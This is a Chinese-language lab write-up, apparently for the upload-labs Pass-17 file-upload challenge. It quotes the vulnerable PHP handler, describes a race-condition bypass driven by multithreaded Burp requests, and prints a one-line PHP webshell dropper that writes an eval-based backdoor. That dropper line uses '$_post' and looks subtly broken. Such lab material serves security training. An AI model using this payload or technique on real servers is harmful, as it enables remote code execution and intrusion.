Pass-17
1.根据题意,本pass需要代码审计!
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
标黄处是存储在服务器的文件的临时副本的名称,当上传web shell文件时,不会先限制php类型文件上传,先利用语句把上传的文件临时存放。再执行下面的if语句进行文件类型的限制和文件名的时间戳。然后执行if(move_uploaded_file($temp_file, $upload_file))//移动到新文件夹
2.绕过思路是利用代码执行过程有耗费时间的过程。临时webshell文件保存的极短时间,去访问webshell。获取一些信息
我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell。会有一瞬间的访问成功
开启bp抓包


环境问题,脚本无法运行,还在排查问题,
<?php fputs(fopen('shell.php','w'),'<?php @eval($_post["cmd"])?>');?>
该语句的意思是,当php文件在高线程多并发数未被及时删除时,生成一句话木马,因此可以通过木马连接
通过BP工具实现多线程高并发

判定成功后,通过蚁剑连接至后台


浙公网安备 33010602011771号